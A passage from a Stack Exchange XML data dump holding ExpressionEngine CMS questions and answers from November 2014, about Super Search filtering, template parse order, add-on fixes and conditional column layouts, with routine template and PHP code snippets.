  <row Id="26772" PostTypeId="2" ParentId="26757" CreationDate="2014-11-18T13:57:40.783" Score="1" Body="&lt;p&gt;EE will do this automatically if you publish an entry with a title already in that channel.&lt;/p&gt;&#xA;" OwnerUserId="651" LastActivityDate="2014-11-18T13:57:40.783" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="26773" PostTypeId="2" ParentId="21629" CreationDate="2014-11-18T14:04:11.227" Score="0" Body="&lt;p&gt;I have another potential idea to throw into the pot. We've just experienced the same issue with &lt;strong&gt;Stash&lt;/strong&gt; and &lt;strong&gt;Custom System Messages&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've experienced similar issues on the frontend where an incorrect path to the stash embed on the custom system message template led to some sort of looping issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would disable &lt;strong&gt;Custom System Messages&lt;/strong&gt; and see if you're experiencing the same issue. If that is the case then you can check the assigned template for anything that may cause a problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To disable one extension, jump into the database find the extension (should be listed under the column class) and change the last row(s) to &quot;n&quot;. As always, take a backup of your DB first.&lt;/p&gt;&#xA;" OwnerUserId="261" LastActivityDate="2014-11-18T14:04:11.227" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26774" PostTypeId="2" ParentId="26760" CreationDate="2014-11-18T14:04:46.933" Score="0" Body="&lt;p&gt;The event_dates_and_options is not a custom fieldtype that can be used as-is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your case, you would loop through each day using &lt;code&gt;{display_each_day}...{/display_each_day}&lt;/code&gt;. Then, at each day loop, use &lt;code&gt;{events}...{/events}&lt;/code&gt; to display the events of that day. Eg.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:calendar:cal&#xA;    date_range_start=&quot;tomorrow&quot;&#xA;    date_range_end=&quot;+6 months&quot;&#xA;    pad_short_weeks=&quot;n&quot;&#xA;}&#xA;&#xA;    {display_each_day}&#xA;        &amp;lt;h3&amp;gt;Events on {day format=&quot;%F %j, %Y&quot;}&amp;lt;/h3&amp;gt;&#xA;&#xA;        {events}&#xA;           {event_start_date format=&quot;%g%a&quot;}, {event_title}, {event_summary}&amp;lt;br /&amp;gt; &#xA;        {/events}&#xA;    {/display_each_day}&#xA;&#xA;{/exp:calendar:cal}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="884" LastActivityDate="2014-11-18T14:04:46.933" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26775" PostTypeId="1" CreationDate="2014-11-18T14:07:04.233" Score="0" ViewCount="74" Body="&lt;p&gt;I've had reported a problem with an add-on that settings for other fieldtypes aren't working when my fieldtype is enabled in a grid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've spent some time on this, and can only assume the problem is related to the &lt;code&gt;grid_display_settings()&lt;/code&gt; function which I'm using to display add-on settings:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function grid_display_settings($data)&#xA;{&#xA;&#xA;    return array(&#xA;        $this-&amp;gt;grid_dropdown_row(&#xA;            &quot;Load....&quot;,&#xA;            $this-&amp;gt;field_name,&#xA;            $this-&amp;gt;_get_grid_dropdown($data),&#xA;            array_get($data, 'list_type', null)&#xA;        )&#xA;    );&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It all appears to be fine, in that I get no errors - however, on my grid field settings options, none of the other fieldtypes display their settings - I get a 'typeError: e.html(...) is null'. However, selecting my own field works as expected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've spent far too long on this bug already, so just putting this out there to see if anyone has come across this before? &lt;/p&gt;&#xA;" OwnerUserId="18" LastActivityDate="2014-11-18T14:07:04.233" Title="grid_display_settings issues with a single row" Tags="|add-on|grid|fieldtype|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="26776" PostTypeId="2" ParentId="26751" CreationDate="2014-11-18T14:13:30.620" Score="0" Body="&lt;p&gt;Unfortunately this isn't possible with User.  I recommend submitting this as a Feature Request under the specific add-on category: &lt;a href=&quot;http://support.solspace.com/support/discussions&quot; rel=&quot;nofollow&quot;&gt;http://support.solspace.com/support/discussions&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only option for notifying to a specific email address when a registration is completed is through EE's native settings under &lt;em&gt;Member =&gt; Preferences =&gt; Notification Preferences&lt;/em&gt;:&#xA;&quot;&lt;strong&gt;Send new member notifications?&lt;/strong&gt;&quot; and &quot;&lt;strong&gt;Email Address for Notification&lt;/strong&gt;&quot;. However, this is of course not specific per-registration form.&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2014-11-18T14:13:30.620" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26777" PostTypeId="2" ParentId="26762" CreationDate="2014-11-18T14:20:47.713" Score="0" Body="&lt;p&gt;I was able to get what I needed using a query. I wasn't looking at the entries correctly in their relationships. I needed the children instead of the parents.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what I ended up with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:query sql=&quot;SELECT title, url_title FROM exp_channel_titles WHERE entry_id IN ( SELECT DISTINCT(child_id) FROM exp_relationships ) ORDER BY title&quot;}&#xA;    &amp;lt;li class=&quot;segment-{count}&quot;&amp;gt;&#xA;        &amp;lt;a href=&quot;#&quot; class=&quot;{url_title}&quot; style=&quot;text-transform: capitalize;&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&#xA;    &amp;lt;/li&amp;gt;&#xA;{/exp:query}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3139" LastActivityDate="2014-11-18T14:20:47.713" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26779" PostTypeId="1" AcceptedAnswerId="26780" CreationDate="2014-11-18T16:34:20.827" Score="0" ViewCount="22" Body="&lt;p&gt;I'm building an accessory based on one I built &amp;amp; use on another site that works without trouble.  For some reason the URL's in my view are getting mangled in this new version.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;&amp;lt;?=BASE . &quot;&amp;amp;amp;C=addons_accessories&amp;amp;amp;M=process_request&amp;amp;amp;accessory=the_addon&amp;amp;amp;method=the_mthod&quot; ?&amp;gt;&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Turns into this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://siteurl.dev/admin.php?/cp/addons_accessories/process_request?accessory=the_addon&amp;amp;method=the_method&amp;amp;S=1234567890&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Anyone know why that might happen?&lt;/p&gt;&#xA;" OwnerUserId="364" LastActivityDate="2014-11-18T16:38:01.520" Title="Broken Accessory Link" Tags="|accessory|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26780" PostTypeId="2" ParentId="26779" CreationDate="2014-11-18T16:38:01.520" Score="1" Body="&lt;p&gt;This is part of the clean control panel URLs &lt;a href=&quot;https://ellislab.com/blog/entry/cleaner-control-panel-urls&quot; rel=&quot;nofollow&quot;&gt;introduced in version 2.8&lt;/a&gt;. Its purpose is to make CP URLs more legible, and easier for developers to build.&lt;/p&gt;&#xA;" OwnerUserId="366" LastActivityDate="2014-11-18T16:38:01.520" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="26781" PostTypeId="1" CreationDate="2014-11-18T17:02:03.693" Score="0" ViewCount="103" Body="&lt;p&gt;I'm using the Solspace Supersearch add-on and am trying to search entries based on a checkbox field. Currently I'm getting all entries within the results. I've tried using name=&quot;users-exact&quot; and this doesn't help to filter the returned data either.&#xA;Suggestions appreciated,&#xA;Thanks!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form method=&quot;post&quot; action=&quot;{path='search/results'}/&quot;&amp;gt;&#xA;    {exp:super_search:search}&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;csrf_token&quot; value=&quot;{csrf_token}&quot; /&amp;gt;&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;inclusive_keywords&quot; value=&quot;no&quot; /&amp;gt;&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;redirect_post&quot; value=&quot;no&quot; /&amp;gt; &#xA;    &amp;lt;label&amp;gt;&amp;lt;input type=&quot;checkbox&quot; value=&quot;Under 16&quot; name=&quot;users[]&quot;/&amp;gt; Under 16&amp;lt;/label&amp;gt;&#xA;    &amp;lt;label&amp;gt;&amp;lt;input type=&quot;checkbox&quot; value=&quot;16-18&quot; name=&quot;users[]&quot;/&amp;gt; 16 - 18&amp;lt;/label&amp;gt;&#xA;    &amp;lt;label&amp;gt;&amp;lt;input type=&quot;checkbox&quot; value=&quot;18 and over&quot; name=&quot;users[]&quot;/&amp;gt; 18 and over&amp;lt;/label&amp;gt;&#xA;    &amp;lt;label&amp;gt;&amp;lt;input type=&quot;checkbox&quot; value=&quot;Women&quot; name=&quot;users[]&quot;/&amp;gt; Women&amp;lt;/label&amp;gt;&#xA;    &amp;lt;label&amp;gt;&amp;lt;input type=&quot;checkbox&quot; value=&quot;Men&quot; name=&quot;users[]&quot;/&amp;gt; Men&amp;lt;/label&amp;gt;&#xA;    &amp;lt;input type=&quot;submit&quot; name=&quot;submit&quot; value=&quot;Search&quot;/&amp;gt;&#xA;    {/exp:super_search:search}&#xA;    &amp;lt;/form&amp;gt;&#xA;&#xA;{exp:super_search:results channel=&quot;zoo_visitor&quot; inclusive_keywords=&quot;no&quot; status=&quot;Services-id5&quot;}&#xA;    &amp;lt;a href=&quot;{site_url}directory/view/{if visitor:member_id}{visitor:member_id}{if:else}{entry_id}{/if}&quot;&amp;gt;{firstname}&amp;lt;/a&amp;gt;&#xA;    &amp;lt;p&amp;gt;{building}, {street}, {town}, {county}&amp;lt;/p&amp;gt;&#xA;    {/exp:super_search:results}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3369" LastEditorUserId="3369" LastEditDate="2014-11-19T10:11:31.047" LastActivityDate="2016-05-31T11:44:15.870" Title="Solspace Supersearch - Searching entries based on a checkbox field" Tags="|solspace|supersearch|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="26782" PostTypeId="1" AcceptedAnswerId="26807" CreationDate="2014-11-18T18:42:52.153" Score="0" ViewCount="160" Body="&lt;p&gt;I can't seem to get the behaviour I want out of a search result using Solspace Supersearch.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the scenario: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want a keyword search on some specific fields and on category names. I have 2 channel fields (in the same channel, all set to searchable) that look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;street_name (example: &quot;Boylston&quot;)&#xA;map_address (example: &quot;100 Boylston Street, Boston, MA&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and category names that look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;Downtown&quot; ... &quot;Jamaica Plains&quot; ... &quot;West End&quot; etc...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;my Solspace result tag and URL look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;url: search&amp;amp;keywords=West+End&#xA;&#xA;{exp:super_search:results&#xA;        paginate=&quot;bottom&quot;&#xA;        limit=&quot;10&quot;&#xA;        inclusive_keywords=&quot;no&quot; &#xA;        keyword_search_category_name=&quot;yes&quot;&#xA;        search_in=&quot;map_address|street_name&quot; &#xA;        relevance=&quot;street_name=5&quot;&#xA;        }&#xA;Output results here...&#xA;{/exp:super_search:results}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now searching for street names/addresses seems to work fine. And searching for categories actually works fine too, &lt;strong&gt;unless&lt;/strong&gt; the category name is in two segments. For example, when searching for &quot;West End&quot;, I get no results, but if I search for &quot;West&quot;, I'll get some mixed results but they will include entries (there are only two in my channel) with the category &quot;West End&quot; (both of which do not have the term &quot;West&quot; or &quot;End&quot; in any of their fields, so the category_name search must have worked). Same result when searching for &quot;End&quot;, mixed results but those two do show up. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have the same issue with all of my two segment category names, ex: &quot;Jamaica Plains&quot; gets no results, but &quot;Jamaica&quot; or &quot;Plains&quot; does.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried using a combination of the category-like and keywords search, but category-like is too fuzzy (&quot;North End&quot; results are very mixed with &quot;South End&quot;, &quot;West End&quot;, &quot;South Boston&quot;, etc...). It almost works if I force category-like and keywords to search the same terms, but then they only include results that have A) The first word of the search term is found in the category name B) any part of the search term is found street_name or map_address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When turning on debug, any time I use this parameter in my result tag&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;keyword_search_category_name=&quot;yes&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and my keyword search is more than one segment (&quot;Jamaica+Plains&quot;) I get this PHP error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A PHP Error was encountered&#xA;Severity: Notice&#xA;&#xA;Message: Array to string conversion&#xA;&#xA;Filename: super_search/mod.super_search.php&#xA;&#xA;Line Number: 8408&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;We're using EE 2.9.0 and Supersearch 2.2.1. I've poured through the docs trying to find a way to search for colloquial location names as categories (&quot;North End&quot;,etc) and addresses as just text fields. It might be a bug, but I'd take any suggestions on how to make this work.&lt;/p&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2014-11-20T12:46:31.380" Title="Supersearch for categories and keywords" Tags="|solspace|supersearch|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26786" PostTypeId="1" CreationDate="2014-11-18T21:05:48.910" Score="1" ViewCount="36" Body="&lt;p&gt;I have a fairly complicated sequence of queries that I need run in order as later queries rely on results from a previous query and I'm using PHP to help refine and save data. I need to pass in a PHP value into two of my EE queries but I can't get a result and I'm presuming it's a parse order issue. Can anyone advise me on how to fix this? I need to make the &quot;category&quot; parameter in the 2nd EE query dynamic, its currently hardcoded as 51.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    {!-- get category for approved skill --}&#xA;{exp:channel:entries &#xA;    channel=&quot;skills&quot; &#xA;    status=&quot;open&quot;&#xA;    entry_id=&quot;{segment_2}&quot; &#xA;    limit=&quot;1&quot;&#xA;    dynamic=&quot;no&quot;&#xA;    disable=&quot;member_data|pagination&quot;&#xA;}&#xA;    {categories}&#xA;        &amp;lt;?php $cats[] = &quot;{category_id}&quot;; ?&amp;gt;&#xA;    {/categories}&#xA;&#xA;    &amp;lt;?php $cat = end($cats);?&amp;gt;&#xA;&#xA;{/exp:channel:entries}&#xA;&#xA;&#xA;&#xA;{!-- get total number of skills belonging to category --}&#xA;{exp:channel:entries &#xA;    channel=&quot;skills&quot; &#xA;    status=&quot;open&quot;&#xA;    category=&quot;51&quot;&#xA;    dynamic=&quot;no&quot;&#xA;    disable=&quot;member_data|pagination&quot;&#xA;}&#xA;&#xA;    &amp;lt;?php $skill_count = &quot;{total_results}&quot;;?&amp;gt;&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2290" LastActivityDate="2014-11-18T22:31:05.553" Title="Parse order question" Tags="|parse-order|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26788" PostTypeId="2" ParentId="26786" CreationDate="2014-11-18T22:31:05.553" Score="1" Body="&lt;p&gt;Well... You can't do that in a easy way, because the first &lt;code&gt;exp:channel:entries&lt;/code&gt; need a PHP parsing on output, but the second one need it on input.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can, of course use an embed.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[...]&#xA;    {embed=&quot;all/categories&quot; ids=&quot;{categories}{category_id}|{/categories}&quot;}&#xA;[...]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But is simpler to use the &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_entries.html#related-categories-mode&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;related_categories_mode&lt;/code&gt;&lt;/a&gt; on the second &lt;code&gt;exp:channel:entries&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{!-- get total number of skills belonging to category --}&#xA;{exp:channel:entries &#xA;    channel=&quot;skills&quot; &#xA;    status=&quot;open&quot;&#xA;    related_categories_mode=&quot;yes&quot;&#xA;    limit=&quot;100&quot;&#xA;}&#xA;    {total_results}    &#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="343" LastActivityDate="2014-11-18T22:31:05.553" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26789" PostTypeId="1" AcceptedAnswerId="26791" CreationDate="2014-11-19T05:31:47.607" Score="0" ViewCount="47" Body="&lt;p&gt;Is anyone still using the DevDocs add-on? A recent update of EE to 2.9.2 broke it.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Call to undefined method Cp::set_variable() in /chroot/home/mydomainhere/cp/expressionengine/third_party/dev_docs/mcp.dev_docs.php on line 125&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I thought there was an easy fix for this but can't find it.&lt;/p&gt;&#xA;" OwnerUserId="225" LastEditorUserId="7705" LastEditDate="2018-07-13T16:13:06.197" LastActivityDate="2018-07-13T16:13:06.197" Title="DevDocs no longer working" Tags="|add-on|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26791" PostTypeId="2" ParentId="26789" CreationDate="2014-11-19T08:44:59.393" Score="4" Body="&lt;p&gt;replace&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    $this-&amp;gt;_EE-&amp;gt;cp-&amp;gt;set_variable('cp_page_title', $current_page-&amp;gt;heading);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;with&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    $this-&amp;gt;_EE-&amp;gt;view-&amp;gt;cp_page_title =  $current_page-&amp;gt;heading;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="932" LastActivityDate="2014-11-19T08:44:59.393" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26792" PostTypeId="1" CreationDate="2014-11-19T12:10:14.947" Score="0" ViewCount="80" Body="&lt;p&gt;Ok so I have this dreamweaver extension called tab panel menu where each menu I can generate either a single column, 2 column, 3 column, 4 column, 5 column or sub menu. Now I wish to make use of this inside EE2 without having to do it on dreamweaver. I figured to make use of if:else statement for the html output. My problem if I want to generate column within channel entries? So if Field 1 = Layout Selection, Field 2-7 = Show field for Selected layout(Of course in horizontal order with labels' like For right sidebar, for left sidebar, for middle content).&lt;/p&gt;&#xA;&lt;p&gt;So that if I were to write a new channel entry, I can just select layout and then fields for that layout will show up.&lt;/p&gt;&#xA;&lt;p&gt;Example:&lt;br&gt;&#xA;  -On Channel Entry-&lt;br&gt;&#xA;  Field 1 - Layout Selection&lt;br&gt;&#xA;  (col-default&lt;br&gt;&#xA;  col-75-25&lt;br&gt;&#xA;  col-60-40&lt;br&gt;&#xA;  col-50-50&lt;br&gt;&#xA;  col-40-60&lt;br&gt;&#xA;  col-33-33-33&lt;br&gt;&#xA;  col-25-75&lt;br&gt;&#xA;  col-25-50-25&lt;br&gt;&#xA;  col-25-25-25-25&lt;br&gt;&#xA;  col-20-20-20-20-20)&lt;br&gt;&#xA;  Field 2 - Content A&lt;br&gt;&#xA;  Field 3 - Content B&lt;br&gt;&#xA;  Field 4 - Content C&lt;br&gt;&#xA;  Field 5 - Content D&lt;br&gt;&#xA;  Field 6 - Content E&lt;br&gt;&#xA;  Field 7 - Content F&lt;/p&gt;&#xA;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&#xA;&lt;p&gt;-On template-&lt;br&gt;&#xA;  Some channel code here&lt;br&gt;&#xA;  {if layout_selection == &amp;quot;col-20-20-20-20-20&amp;quot;}&lt;br&gt;&#xA;  &amp;lt;div class=&amp;quot;p7mgm-row mgm-col-20-20-20-20-20 col-sep&amp;quot;&amp;gt;&lt;br&gt;&#xA;  &amp;lt;div class=&amp;quot;p7mgm-Col p7mgm-percent20&amp;quot;&amp;gt;&lt;br&gt;&#xA;  &amp;lt;div class=&amp;quot;p7mgm-ColContent p7ehc-51&amp;quot;&amp;gt;&lt;br&gt;&#xA;  {content_a}&lt;br&gt;&#xA;  &amp;lt;/div&amp;gt;&lt;br&gt;&#xA;  &amp;lt;/div&amp;gt;&lt;br&gt;&#xA;  &amp;lt;div class=&amp;quot;p7mgm-Col p7mgm-percent20&amp;quot;&amp;gt;&lt;br&gt;&#xA;  &amp;lt;div class=&amp;quot;p7mgm-ColContent p7ehc-51 border-left&amp;quot;&amp;gt;&lt;br&gt;&#xA;  {content_b}&lt;br&gt;&#xA;  &amp;lt;/div&amp;gt;&lt;br&gt;&#xA;  &amp;lt;/div&amp;gt;&lt;br&gt;&#xA;  &amp;lt;div class=&amp;quot;p7mgm-Col p7mgm-percent20&amp;quot;&amp;gt;&lt;br&gt;&#xA;  &amp;lt;div class=&amp;quot;p7mgm-ColContent p7ehc-51 border-left&amp;quot;&amp;gt;&lt;br&gt;&#xA;  {content_c}&lt;br&gt;&#xA;  &amp;lt;/div&amp;gt;&lt;br&gt;&#xA;  &amp;lt;/div&amp;gt;&lt;br&gt;&#xA;  &amp;lt;div class=&amp;quot;p7mgm-Col p7mgm-percent20&amp;quot;&amp;gt;&lt;br&gt;&#xA;  &amp;lt;div class=&amp;quot;p7mgm-ColContent p7ehc-51 border-left&amp;quot;&amp;gt;&lt;br&gt;&#xA;  {content_d}&lt;br&gt;&#xA;  &amp;lt;/div&amp;gt;&lt;br&gt;&#xA;  &amp;lt;/div&amp;gt;&lt;br&gt;&#xA;  &amp;lt;div class=&amp;quot;p7mgm-Col p7mgm-percent20&amp;quot;&amp;gt;&lt;br&gt;&#xA;  &amp;lt;div class=&amp;quot;p7mgm-ColContent p7ehc-51 border-left&amp;quot;&amp;gt;&lt;br&gt;&#xA;  {content_e}&lt;br&gt;&#xA;  &amp;lt;/div&amp;gt;&lt;br&gt;&#xA;  &amp;lt;/div&amp;gt;&lt;br&gt;&#xA;  &amp;lt;/div&amp;gt;&lt;br&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;{if:elseif layout_selection == &amp;quot;col-25-25-25-25&amp;quot;}&lt;br&gt;&#xA;  &amp;lt;div class=&amp;quot;p7mgm-row mgm-col-25-25-25-25 col-sep&amp;quot;&amp;gt;&lt;br&gt;&#xA;  &amp;lt;div class=&amp;quot;p7mgm-Col p7mgm-percent25&amp;quot;&amp;gt;&lt;br&gt;&#xA;  &amp;lt;div class=&amp;quot;p7mgm-ColContent p7ehc-50&amp;quot;&amp;gt;&lt;br&gt;&#xA;  {content_a}&lt;br&gt;&#xA;  &amp;lt;/div&amp;gt;&lt;br&gt;&#xA;  &amp;lt;/div&amp;gt;&lt;br&gt;&#xA;  &amp;lt;div class=&amp;quot;p7mgm-Col p7mgm-percent25&amp;quot;&amp;gt;&lt;br&gt;&#xA;  &amp;lt;div class=&amp;quot;p7mgm-ColContent p7ehc-50 border-left&amp;quot;&amp;gt;&lt;br&gt;&#xA;  {content_b}&lt;br&gt;&#xA;  &amp;lt;/div&amp;gt;&lt;br&gt;&#xA;  &amp;lt;/div&amp;gt;&lt;br&gt;&#xA;  &amp;lt;div class=&amp;quot;p7mgm-Col p7mgm-percent25&amp;quot;&amp;gt;&lt;br&gt;&#xA;  &amp;lt;div class=&amp;quot;p7mgm-ColContent p7ehc-50 border-left&amp;quot;&amp;gt;&lt;br&gt;&#xA;  {content_c}&lt;br&gt;&#xA;  &amp;lt;/div&amp;gt;&lt;br&gt;&#xA;  &amp;lt;/div&amp;gt;&lt;br&gt;&#xA;  &amp;lt;div class=&amp;quot;p7mgm-Col p7mgm-percent25&amp;quot;&amp;gt;&lt;br&gt;&#xA;  &amp;lt;div class=&amp;quot;p7mgm-ColContent p7ehc-50 border-left&amp;quot;&amp;gt;&lt;br&gt;&#xA;  {content_d}&lt;br&gt;&#xA;  &amp;lt;/div&amp;gt;&lt;br&gt;&#xA;  &amp;lt;/div&amp;gt;&lt;br&gt;&#xA;  &amp;lt;/div&amp;gt;&lt;br&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;{if:elseif layout_selection == &amp;quot;col-25-50-25&amp;quot;}&lt;br&gt;&#xA;  &amp;lt;div class=&amp;quot;p7mgm-row mgm-col-25-50-25 col-sep&amp;quot;&amp;gt;&lt;br&gt;&#xA;  &amp;lt;div class=&amp;quot;p7mgm-Col p7mgm-percent25&amp;quot;&amp;gt;&lt;br&gt;&#xA;  &amp;lt;div class=&amp;quot;p7mgm-ColContent p7ehc-49&amp;quot;&amp;gt;&lt;br&gt;&#xA;  {content_a}&lt;br&gt;&#xA;  &amp;lt;/div&amp;gt;&lt;br&gt;&#xA;  &amp;lt;/div&amp;gt;&lt;br&gt;&#xA;  &amp;lt;div class=&amp;quot;p7mgm-Col p7mgm-percent50&amp;quot;&amp;gt;&lt;br&gt;&#xA;  &amp;lt;div class=&amp;quot;p7mgm-ColContent p7ehc-49 border-left&amp;quot;&amp;gt;&lt;br&gt;&#xA;  {content_b}&lt;br&gt;&#xA;  &amp;lt;/div&amp;gt;&lt;br&gt;&#xA;  &amp;lt;/div&amp;gt;&lt;br&gt;&#xA;  &amp;lt;div class=&amp;quot;p7mgm-Col p7mgm-percent25&amp;quot;&amp;gt;&lt;br&gt;&#xA;  &amp;lt;div class=&amp;quot;p7mgm-ColContent p7ehc-49 border-left&amp;quot;&amp;gt;&lt;br&gt;&#xA;  {content_c}&lt;br&gt;&#xA;  &amp;lt;/div&amp;gt;&lt;br&gt;&#xA;  &amp;lt;/div&amp;gt;&lt;br&gt;&#xA;  &amp;lt;/div&amp;gt;&lt;br&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;{if:elseif layout_selection == &amp;quot;col-25-75&amp;quot;}&lt;br&gt;&#xA;  &amp;lt;div class=&amp;quot;p7mgm-row mgm-col-25-75 col-sep&amp;quot;&amp;gt;&lt;br&gt;&#xA;  &amp;lt;div class=&amp;quot;p7mgm-Col p7mgm-percent25&amp;quot;&amp;gt;&lt;br&gt;&#xA;  &amp;lt;div class=&amp;quot;p7mgm-ColContent p7ehc-44&amp;quot;&amp;gt;&lt;br&gt;&#xA;  {content_a}&lt;br&gt;&#xA;  &amp;lt;/div&amp;gt;&lt;br&gt;&#xA;  &amp;lt;/div&amp;gt;&lt;br&gt;&#xA;  &amp;lt;div class=&amp;quot;p7mgm-Col p7mgm-percent75&amp;quot;&amp;gt;&lt;br&gt;&#xA;  &amp;lt;div class=&amp;quot;p7mgm-ColContent p7ehc-44 border-left&amp;quot;&amp;gt;&lt;br&gt;&#xA;  {content_b}&lt;br&gt;&#xA;  &amp;lt;/div&amp;gt;&lt;br&gt;&#xA;  &amp;lt;/div&amp;gt;&lt;br&gt;&#xA;  &amp;lt;/div&amp;gt;&lt;br&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;{if:elseif layout_selection == &amp;quot;col-33-33-33&amp;quot;}&lt;br&gt;&#xA;  &amp;lt;div class=&amp;quot;p7mgm-row mgm-col-33-33-33 col-sep&amp;quot;&amp;gt;&lt;br&gt;&#xA;  &amp;lt;div class=&amp;quot;p7mgm-Col p7mgm-percent33&amp;quot;&amp;gt;&lt;br&gt;&#xA;  &amp;lt;div class=&amp;quot;p7mgm-ColContent p7ehc-48&amp;quot;&amp;gt;&lt;br&gt;&#xA;  {content_a}&lt;br&gt;&#xA;  &amp;lt;/div&amp;gt;&lt;br&gt;&#xA;  &amp;lt;/div&amp;gt;&lt;br&gt;&#xA;  &amp;lt;div class=&amp;quot;p7mgm-Col p7mgm-percent33&amp;quot;&amp;gt;&lt;br&gt;&#xA;  &amp;lt;div class=&amp;quot;p7mgm-ColContent p7ehc-48 border-left&amp;quot;&amp;gt;&lt;br&gt;&#xA;  {content_b}&lt;br&gt;&#xA;  &amp;lt;/div&amp;gt;&lt;br&gt;&#xA;  &amp;lt;/div&amp;gt;&lt;br&gt;&#xA;  &amp;lt;div class=&amp;quot;p7mgm-Col p7mgm-percent33&amp;quot;&amp;gt;&lt;br&gt;&#xA;  &amp;lt;div class=&amp;quot;p7mgm-ColContent p7ehc-48 border-left&amp;quot;&amp;gt;&lt;br&gt;&#xA;  {content_c}&lt;br&gt;&#xA;  &amp;lt;/div&amp;gt;&lt;br&gt;&#xA;  &amp;lt;/div&amp;gt;&lt;br&gt;&#xA;  &amp;lt;/div&amp;gt;&lt;br&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;{if:elseif layout_selection == &amp;quot;col-40-60&amp;quot;}&lt;br&gt;&#xA;  &amp;lt;div 